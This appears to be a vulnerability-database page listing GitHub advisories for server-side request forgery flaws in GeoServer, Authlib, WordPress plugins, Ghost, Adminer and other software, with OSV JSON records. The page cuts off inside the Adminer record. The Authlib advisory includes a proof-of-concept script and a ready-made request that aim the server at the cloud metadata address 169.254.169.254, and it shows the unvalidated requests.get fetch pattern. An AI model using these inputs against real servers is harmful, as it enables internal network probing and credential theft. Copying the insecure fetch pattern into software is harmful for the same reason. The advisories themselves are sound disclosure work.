Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

7026 vulnerabilities reference this CWE, most recent first.

GHSA-X4R9-GMW3-HXWW

Vulnerability from github – Published: 2026-06-12 18:23 – Updated: 2026-06-12 18:23
VLAI
Summary
GeoServer has a Server-Side Request Forgery (SSRF) Vulnerability in its XML Entity Resolution
Details

Summary

A GeoServer that uses ENTITY_RESOLUTION_ALLOWLIST may allow attacker to perform unauthenticated Server-Side Request Forgery (SSRF).

Details

This vulnerability requires that GeoServer is set up to use a proxy base URL and the ENTITY_RESOLUTION_ALLOWLIST (default since 2.25.0):

Impact

This vulnerability allows an attacker to cause GeoServer to make requests to an unintended location.

Workaround

GeoServer installations are only affected by this vulnerability if they use a proxy base URL that does not contain a URL path or end with a slash (e.g., https://somesite.org instead of https://somesite.org/ or https://somesite.org/geoserver). If the proxy base URL does not contain a path, adding a slash to the end of the URL will mitigate this vulnerability.

Resources

https://osgeo-org.atlassian.net/browse/GEOS-11867 https://github.com/geoserver/geoserver/pull/8622

Credits:

  • Le Mau Anh Phong at Verichains Cyber Force
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.26.3"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.geoserver.web:gs-web-app"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.26.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.26.3"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.geoserver:gs-main"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.26.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.27.2"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.geoserver:gs-main"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.27.0"
            },
            {
              "fixed": "2.27.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.27.2"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.geoserver.web:gs-web-app"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.27.0"
            },
            {
              "fixed": "2.27.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-58175"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-611",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-12T18:23:35Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nA GeoServer that uses `ENTITY_RESOLUTION_ALLOWLIST` may allow attacker to perform unauthenticated Server-Side Request Forgery (SSRF).\n\n### Details\nThis vulnerability requires that GeoServer is set up to use a proxy base URL and the `ENTITY_RESOLUTION_ALLOWLIST` (default since 2.25.0):\n\n### Impact\nThis vulnerability allows an attacker to cause GeoServer to make requests to an unintended location.\n\n### Workaround\nGeoServer installations are only affected by this vulnerability if they use a proxy base URL that does not contain a URL path or end with a slash (e.g., `https://somesite.org` instead of `https://somesite.org/` or `https://somesite.org/geoserver`). If the proxy base URL does not contain a path, adding a slash to the end of the URL will mitigate this vulnerability.\n\n### Resources\nhttps://osgeo-org.atlassian.net/browse/GEOS-11867\nhttps://github.com/geoserver/geoserver/pull/8622\n\n### Credits:\n-  Le Mau Anh Phong at Verichains Cyber Force",
  "id": "GHSA-x4r9-gmw3-hxww",
  "modified": "2026-06-12T18:23:35Z",
  "published": "2026-06-12T18:23:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/geoserver/geoserver/security/advisories/GHSA-x4r9-gmw3-hxww"
    },
    {
      "type": "WEB",
      "url": "https://github.com/geoserver/geoserver/pull/8622"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/geoserver/geoserver"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "GeoServer has a Server-Side Request Forgery (SSRF) Vulnerability in its XML Entity Resolution"
}

GHSA-X4RV-C3WX-4CR8

Vulnerability from github – Published: 2026-10-27 15:39 – Updated: 2026-10-27 15:39
VLAI
Summary
Authlib: Unvalidated request_uri fetch in JWT-secured authorization request (JAR) leading to SSRF
Details

Summary

Authlib's RFC 9101 (JAR) extension passes the attacker-controlled request_uri authorization parameter straight to the get_request_object() fetch hook with no validation, at a pre-authentication endpoint. Authlib already defines the pre-registration allowlist for this (request_uris client metadata and require_request_uri_registration server metadata) but the extension never consults it, and both docstrings instruct integrators to implement the hook as an unrestricted requests.get(request_uri). Deployments following the documented pattern get an unauthenticated SSRF primitive.

Details

Verified against authlib 1.7.2 and current main. All line numbers below are from authlib/oauth2/rfc9101/authorization_server.py.

The extension registers itself on the before_get_authorization_grant hook (lines 62-65), so it runs on every authorization request before any user or client authentication. support_request_uri defaults to True (line 58).

The only gate before the sink is that client_id names an existing client (lines 91-103). A client_id is a public, non-secret identifier.

The sink at line 159 forwards the raw parameter with no scheme, host, or allowlist check:

def _get_raw_request_object(self, request: OAuth2Request) -> str:
    if "request_uri" in request.payload.data:
        raw_request_object = self.get_request_object(
            request.payload.data["request_uri"]
        )
        if not raw_request_object:
            raise InvalidRequestUriError(state=request.payload.state)

get_request_object is abstract (line 213, raise NotImplementedError() at line 225), so authlib itself performs no outbound request. The defect is that authlib supplies unvalidated attacker input to that extension point and then documents the insecure implementation twice — in the class docstring (lines 34-38) and in the hook's own docstring (lines 218-223):

def get_request_object(self, request_uri: str):
    try:
        return requests.get(request_uri).text
    except requests.Exception:
        return None

Two points sharpen this beyond a generic documentation issue:

  • The allowlist already exists and is ignored. Authlib validates request_uris as client metadata (authlib/oauth2/rfc7591/claims.py:319) and require_request_uri_registration as server metadata (authlib/oauth2/rfc8414/models.py:263). The rfc9101 package contains zero references to either name, so the pre-registration model is never enforced at the point of use.
  • RFC 9101 §10.4.1 asks for controls that are absent. It states the server should "a) check that the value of the request_uri parameter does not point to an unexpected location, b) check that the media type of the response is application/oauth-authz-req+jwt, c) implement a timeout for obtaining the content of request_uri, and d) not perform recursive GET on the request_uri." The extension implements none of these and the documented example implements none of them either.

The two failure paths are distinguishable, which supplies the inference channel for a blind SSRF: a falsy fetch result raises InvalidRequestUriError (invalid_request_uri, lines 162-163), while a successful fetch of non-JWT content raises InvalidRequestObjectError (invalid_request_object, line 186).

PoC

This demonstrates the library-level defect with no network egress required: it shows the unvalidated URI reaching the fetch hook pre-authentication.

python -m venv .venv && .venv/bin/pip install authlib
from authlib.oauth2.rfc6749.requests import BasicOAuth2Payload, OAuth2Request
from authlib.oauth2.rfc9101 import JWTAuthenticationRequest

reached = []


class Extension(JWTAuthenticationRequest):
    def get_request_object(self, request_uri):
        reached.append(request_uri)  # the docstring puts requests.get(request_uri) here
        return None

    def resolve_client_public_key(self, client):
        return {"keys": []}

    def get_server_metadata(self):
        return {}

    def get_client_require_signed_request_object(self, client):
        return False


class AuthorizationServer:
    def query_client(self, client_id):
        return object()


uri = "http://169.254.169.254/latest/meta-data/"
request = OAuth2Request("GET", "https://as.example/authorize")
request.payload = BasicOAuth2Payload({"client_id": "demo", "request_uri": uri})

try:
    Extension().parse_authorization_request(AuthorizationServer(), request)
except Exception as exc:
    print("error:", type(exc).__name__)

print("fetch hook received:", reached)

Output on authlib 1.7.2:

error: InvalidRequestUriError
fetch hook received: ['http://169.254.169.254/latest/meta-data/']

Against a deployment that used the docstring implementation, the equivalent unauthenticated request is:

GET /authorize?response_type=code&client_id=demo&request_uri=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F

Returning a fetched-but-non-JWT body instead of None in the snippet above yields InvalidRequestObjectError rather than InvalidRequestUriError, showing the oracle that distinguishes a reachable target from an unreachable one.

Impact

Server-side request forgery, reachable without authentication by anyone who knows a valid client_id. In a deployment that implemented get_request_object as documented, an attacker can make the authorization server issue GET requests to arbitrary URLs: internal-only services, cloud metadata endpoints such as 169.254.169.254, and side-effectful internal GET routes. The invalid_request_uri versus invalid_request_object split, together with response timing, provides an oracle for internal host and port discovery. RFC 9101 §10.4.1 additionally notes the DoS and recursive-lookup risks that the missing timeout and recursion checks leave open.

Response bodies are consumed as a JWT and never reflected, so this is a blind primitive rather than direct data exfiltration. Because the fetch executes in integrator code, deployments that already allowlist inside their override are unaffected — but authlib provides no hook to make that the default, ships support_request_uri=True, and its documentation steers integrators to the unsafe implementation, so the insecure outcome is the expected one.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "authlib"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.6.0"
            },
            {
              "fixed": "1.9.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-114620"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-27T15:39:18Z",
    "nvd_published_at": "2026-10-22T22:18:05Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nAuthlib\u0027s RFC 9101 (JAR) extension passes the attacker-controlled `request_uri` authorization parameter straight to the `get_request_object()` fetch hook with no validation, at a pre-authentication endpoint. Authlib already defines the pre-registration allowlist for this (`request_uris` client metadata and `require_request_uri_registration` server metadata) but the extension never consults it, and both docstrings instruct integrators to implement the hook as an unrestricted `requests.get(request_uri)`. Deployments following the documented pattern get an unauthenticated SSRF primitive. \n### Details\n\nVerified against authlib 1.7.2 and current `main`. All line numbers below are from `authlib/oauth2/rfc9101/authorization_server.py`.\n\nThe extension registers itself on the `before_get_authorization_grant` hook (lines 62-65), so it runs on every authorization request before any user or client authentication. `support_request_uri` defaults to `True` (line 58).\n\nThe only gate before the sink is that `client_id` names an existing client (lines 91-103). A `client_id` is a public, non-secret identifier.\n\nThe sink at line 159 forwards the raw parameter with no scheme, host, or allowlist check:\n\n```python\ndef _get_raw_request_object(self, request: OAuth2Request) -\u003e str:\n    if \"request_uri\" in request.payload.data:\n        raw_request_object = self.get_request_object(\n            request.payload.data[\"request_uri\"]\n        )\n        if not raw_request_object:\n            raise InvalidRequestUriError(state=request.payload.state)\n```\n\n`get_request_object` is abstract (line 213, `raise NotImplementedError()` at line 225), so authlib itself performs no outbound request. The defect is that authlib supplies unvalidated attacker input to that extension point and then documents the insecure implementation twice \u2014 in the class docstring (lines 34-38) and in the hook\u0027s own docstring (lines 218-223):\n\n```python\ndef get_request_object(self, request_uri: str):\n    try:\n        return requests.get(request_uri).text\n    except requests.Exception:\n        return None\n```\n\nTwo points sharpen this beyond a generic documentation issue:\n\n- **The allowlist already exists and is ignored.** Authlib validates `request_uris` as client metadata (`authlib/oauth2/rfc7591/claims.py:319`) and `require_request_uri_registration` as server metadata (`authlib/oauth2/rfc8414/models.py:263`). The `rfc9101` package contains zero references to either name, so the pre-registration model is never enforced at the point of use.\n- **RFC 9101 \u00a710.4.1 asks for controls that are absent.** It states the server should \"a) check that the value of the `request_uri` parameter does not point to an unexpected location, b) check that the media type of the response is `application/oauth-authz-req+jwt`, c) implement a timeout for obtaining the content of `request_uri`, and d) not perform recursive GET on the `request_uri`.\" The extension implements none of these and the documented example implements none of them either.\n\nThe two failure paths are distinguishable, which supplies the inference channel for a blind SSRF: a falsy fetch result raises `InvalidRequestUriError` (`invalid_request_uri`, lines 162-163), while a successful fetch of non-JWT content raises `InvalidRequestObjectError` (`invalid_request_object`, line 186).\n\n### PoC\n\nThis demonstrates the library-level defect with no network egress required: it shows the unvalidated URI reaching the fetch hook pre-authentication.\n\n```bash\npython -m venv .venv \u0026\u0026 .venv/bin/pip install authlib\n```\n\n```python\nfrom authlib.oauth2.rfc6749.requests import BasicOAuth2Payload, OAuth2Request\nfrom authlib.oauth2.rfc9101 import JWTAuthenticationRequest\n\nreached = []\n\n\nclass Extension(JWTAuthenticationRequest):\n    def get_request_object(self, request_uri):\n        reached.append(request_uri)  # the docstring puts requests.get(request_uri) here\n        return None\n\n    def resolve_client_public_key(self, client):\n        return {\"keys\": []}\n\n    def get_server_metadata(self):\n        return {}\n\n    def get_client_require_signed_request_object(self, client):\n        return False\n\n\nclass AuthorizationServer:\n    def query_client(self, client_id):\n        return object()\n\n\nuri = \"http://169.254.169.254/latest/meta-data/\"\nrequest = OAuth2Request(\"GET\", \"https://as.example/authorize\")\nrequest.payload = BasicOAuth2Payload({\"client_id\": \"demo\", \"request_uri\": uri})\n\ntry:\n    Extension().parse_authorization_request(AuthorizationServer(), request)\nexcept Exception as exc:\n    print(\"error:\", type(exc).__name__)\n\nprint(\"fetch hook received:\", reached)\n```\n\nOutput on authlib 1.7.2:\n\n```text\nerror: InvalidRequestUriError\nfetch hook received: [\u0027http://169.254.169.254/latest/meta-data/\u0027]\n```\n\nAgainst a deployment that used the docstring implementation, the equivalent unauthenticated request is:\n\n```text\nGET /authorize?response_type=code\u0026client_id=demo\u0026request_uri=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F\n```\n\nReturning a fetched-but-non-JWT body instead of `None` in the snippet above yields `InvalidRequestObjectError` rather than `InvalidRequestUriError`, showing the oracle that distinguishes a reachable target from an unreachable one.\n\n### Impact\n\nServer-side request forgery, reachable without authentication by anyone who knows a valid `client_id`. In a deployment that implemented `get_request_object` as documented, an attacker can make the authorization server issue GET requests to arbitrary URLs: internal-only services, cloud metadata endpoints such as `169.254.169.254`, and side-effectful internal GET routes. The `invalid_request_uri` versus `invalid_request_object` split, together with response timing, provides an oracle for internal host and port discovery. RFC 9101 \u00a710.4.1 additionally notes the DoS and recursive-lookup risks that the missing timeout and recursion checks leave open.\n\nResponse bodies are consumed as a JWT and never reflected, so this is a blind primitive rather than direct data exfiltration. Because the fetch executes in integrator code, deployments that already allowlist inside their override are unaffected \u2014 but authlib provides no hook to make that the default, ships `support_request_uri=True`, and its documentation steers integrators to the unsafe implementation, so the insecure outcome is the expected one.",
  "id": "GHSA-x4rv-c3wx-4cr8",
  "modified": "2026-10-27T15:39:18Z",
  "published": "2026-10-27T15:39:18Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/authlib/authlib/security/advisories/GHSA-x4rv-c3wx-4cr8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-114620"
    },
    {
      "type": "WEB",
      "url": "https://github.com/authlib/authlib/pull/949"
    },
    {
      "type": "WEB",
      "url": "https://github.com/authlib/authlib/commit/6563f6f7a8c2f71d2f85ee7511d72a4fbae3acc0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/authlib/authlib/commit/891e3f10ae5989176211f8be35dcc7cd40aa92c6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/authlib/authlib"
    },
    {
      "type": "WEB",
      "url": "https://github.com/authlib/authlib/releases/tag/v1.9.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Authlib: Unvalidated request_uri fetch in JWT-secured authorization request (JAR) leading to SSRF"
}

GHSA-X4VC-M5G5-663M

Vulnerability from github – Published: 2025-07-11 09:30 – Updated: 2025-07-11 09:30
VLAI
Details

The Broken Link Notifier plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.3.0 via the ajax_blinks() function which ultimately calls the check_url_status_code() function. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-6851"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-07-11T09:15:25Z",
    "severity": "HIGH"
  },
  "details": "The Broken Link Notifier plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.3.0 via the ajax_blinks() function which ultimately calls the check_url_status_code() function. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.",
  "id": "GHSA-x4vc-m5g5-663m",
  "modified": "2025-07-11T09:30:32Z",
  "published": "2025-07-11T09:30:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-6851"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3323864%40broken-link-notifier\u0026new=3323864%40broken-link-notifier\u0026sfp_email=\u0026sfph_mail="
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/0f76c9f8-c57a-4875-b581-f67c9c60021c?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-X557-GW6M-864X

Vulnerability from github – Published: 2025-11-19 06:31 – Updated: 2025-11-19 06:31
VLAI
Details

The Responsive Lightbox & Gallery plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 2.5.3 via the 'get_image_size_by_url' function. This is due to insufficient validation of user-supplied URLs when determining image dimensions for gallery items. This makes it possible for authenticated attackers, with Author-level access and above, to make web requests to arbitrary locations originating from the web application which can be used to query and modify information from internal services.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-12359"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-11-19T06:15:45Z",
    "severity": "MODERATE"
  },
  "details": "The Responsive Lightbox \u0026 Gallery plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 2.5.3 via the \u0027get_image_size_by_url\u0027 function. This is due to insufficient validation of user-supplied URLs when determining image dimensions for gallery items. This makes it possible for authenticated attackers, with Author-level access and above, to make web requests to arbitrary locations originating from the web application which can be used to query and modify information from internal services.",
  "id": "GHSA-x557-gw6m-864x",
  "modified": "2025-11-19T06:31:11Z",
  "published": "2025-11-19T06:31:11Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-12359"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/responsive-lightbox/tags/2.5.3/includes/class-fast-image.php#L25"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/responsive-lightbox/tags/2.5.3/includes/class-frontend.php#L1531"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/responsive-lightbox/tags/2.5.3/includes/class-galleries.php#L3648"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/responsive-lightbox/tags/2.5.3/includes/functions.php#L108"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026new=3397940%40responsive-lightbox%2Ftrunk\u0026old=3358021%40responsive-lightbox%2Ftrunk\u0026sfp_email=\u0026sfph_mail="
    },
    {
      "type": "WEB",
      "url": "https://research.cleantalk.org/cve-2025-12359"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/7f4c0bd6-f289-4a52-ac11-345076c32d84?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-X5C9-RRJF-32HG

Vulnerability from github – Published: 2024-04-18 12:30 – Updated: 2026-04-28 21:34
VLAI
Details

Server-Side Request Forgery (SSRF) vulnerability in Really Simple Plugins Really Simple SSL.This issue affects Really Simple SSL: from n/a through 7.2.3.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-31229"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-18T11:15:37Z",
    "severity": "MODERATE"
  },
  "details": "Server-Side Request Forgery (SSRF) vulnerability in Really Simple Plugins Really Simple SSL.This issue affects Really Simple SSL: from n/a through 7.2.3.",
  "id": "GHSA-x5c9-rrjf-32hg",
  "modified": "2026-04-28T21:34:51Z",
  "published": "2024-04-18T12:30:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-31229"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/really-simple-ssl/wordpress-really-simple-ssl-plugin-7-2-3-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-X5CM-89WF-JVX9

Vulnerability from github – Published: 2026-10-29 18:30 – Updated: 2026-10-29 18:30
VLAI
Details

IBM Langflow OSS 1.0.0 through 1.12.3 is vulnerable to server-side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-104315"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-10-29T16:17:43Z",
    "severity": "MODERATE"
  },
  "details": "IBM Langflow OSS 1.0.0 through 1.12.3 is vulnerable to server-side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks.",
  "id": "GHSA-x5cm-89wf-jvx9",
  "modified": "2026-10-29T18:30:50Z",
  "published": "2026-10-29T18:30:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-104315"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7293015"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-X5HX-36J4-JGQP

Vulnerability from github – Published: 2026-10-06 21:31 – Updated: 2026-10-06 21:31
VLAI
Details

Insufficient validation of OIDC SSO provider configuration could allow a user with specific high privileges to direct requests to arbitrary destinations.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-101149"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-10-06T20:17:08Z",
    "severity": "MODERATE"
  },
  "details": "Insufficient validation of OIDC SSO provider configuration could allow a user with specific high privileges to direct requests to arbitrary destinations.",
  "id": "GHSA-x5hx-36j4-jgqp",
  "modified": "2026-10-06T21:31:51Z",
  "published": "2026-10-06T21:31:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-101149"
    },
    {
      "type": "WEB",
      "url": "https://www.arista.com/en/support/advisories-notices/security-advisory/24802-security-advisory-0186"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-X5MM-WM4G-J5XV

Vulnerability from github – Published: 2026-08-05 14:37 – Updated: 2026-08-05 14:37
VLAI
Summary
Ghost: Server-Side Request Forgery Mitigation Issue
Details

Impact

A validation issue allowed some functionality, such as Webmentions, to be abused by an unauthenticated user to make limited HTTP requests to hosts in the Ghost server's internal network. A successful attack would not result in any response data being returned.

Vulnerable versions

This vulnerability is present in Ghost from v6.26.0 up to v6.54.0.

Patches

v6.54.1 contains a fix for this issue.

How to update

For self-hosters using Docker, find Docker's official Ghost image here. Updating a Docker-based Ghost instance is documented here.

If your Ghost is a Ghost-CLI install see our documentation on updating it to the latest version here.

References

Ghost thanks Hwang Seyeon for disclosing this vulnerability responsibly.

For more information

If you have any questions or comments about this advisory, email Ghost at security@ghost.org.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "ghost"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.26.0"
            },
            {
              "fixed": "6.54.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-70595"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-05T14:37:14Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nA validation issue allowed some functionality, such as Webmentions, to be abused by an unauthenticated user to make limited HTTP requests to hosts in the Ghost server\u0027s internal network. A successful attack would not result in any response data being returned.\n\n### Vulnerable versions\n\nThis vulnerability is present in Ghost from v6.26.0 up to v6.54.0.\n\n### Patches\n\nv6.54.1 contains a fix for this issue.\n\n### How to update\n\nFor self-hosters using Docker, find [Docker\u0027s official Ghost image here](https://hub.docker.com/_/ghost). Updating a Docker-based Ghost instance [is documented here](https://docs.ghost.org/install/docker#updating-ghost). \n\nIf your Ghost is a Ghost-CLI install see our documentation on [updating it to the latest version here](https://docs.ghost.org/update). \n\n### References\n\nGhost thanks Hwang Seyeon for disclosing this vulnerability responsibly.\n\n### For more information\n\nIf you have any questions or comments about this advisory, email Ghost at [security@ghost.org](mailto:security@ghost.org).",
  "id": "GHSA-x5mm-wm4g-j5xv",
  "modified": "2026-08-05T14:37:14Z",
  "published": "2026-08-05T14:37:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/TryGhost/Ghost/security/advisories/GHSA-x5mm-wm4g-j5xv"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/TryGhost/Ghost"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Ghost: Server-Side Request Forgery Mitigation Issue"
}

GHSA-X5R2-HJ5C-8JX6

Vulnerability from github – Published: 2021-02-11 20:42 – Updated: 2025-10-22 19:05
VLAI
Summary
SSRF in adminer
Details

Impact

Users of Adminer versions bundling all drivers (e.g. adminer.php) are affected.

Patches

Patched by ccd2374b, included in version 4.7.9.

Workarounds

  • Use a single driver version (e.g. adminer-mysql.php).
  • Protect access to Adminer also by other means, e.g. by HTTP password, IP address limiting or by OTP plugin.

References

https://github.com/vrana/adminer/files/5957311/Adminer.SSRF.pdf

For more information

If you have any questions or comments about this advisory: * Comment at ccd2374b.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "vrana/adminer"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.7.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-21311"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-02-11T20:42:04Z",
    "nvd_published_at": "2021-02-11T21:15:00Z",
    "severity": "HIGH"
  },
  "details": "### Impact\nUsers of Adminer versions bundling all drivers (e.g. `adminer.php`) are affected.\n\n### Patches\nPatched by ccd2374b, included in version [4.7.9](https://github.com/vrana/adminer/releases/tag/v4.7.9).\n\n### Workarounds\n* Use a single driver version (e.g. `adminer-mysql.php`).\n* Protect access to Adminer also by other means, e.g. by HTTP password, IP address limiting or by OTP [plugin](https://www.adminer.org/plugins/).\n\n### References\nhttps://github.com/vrana/adminer/files/5957311/Adminer.SSRF.pdf\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Comment at ccd2374b.",
  "id": "GHSA-x5r2-hj5c-8jx6",
  "modified": "2025-10-22T19:05:30Z",
  "published": "2021-02-11T20:42:59Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/vrana/adminer/security/advisories/GHSA-x5r2-hj5c-8jx6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-21311"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vrana/adminer/commit/ccd2374b0b12bd547417bf0dacdf153826c83351"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/vrana/adminer"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vrana/adminer/files/5957311/Adminer.SSRF.pdf"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2021/03/msg00002.html"
    },
    {
      "type": "WEB",
      "url": "https://packagist.org/packages/vrana/adminer"
    },
    {
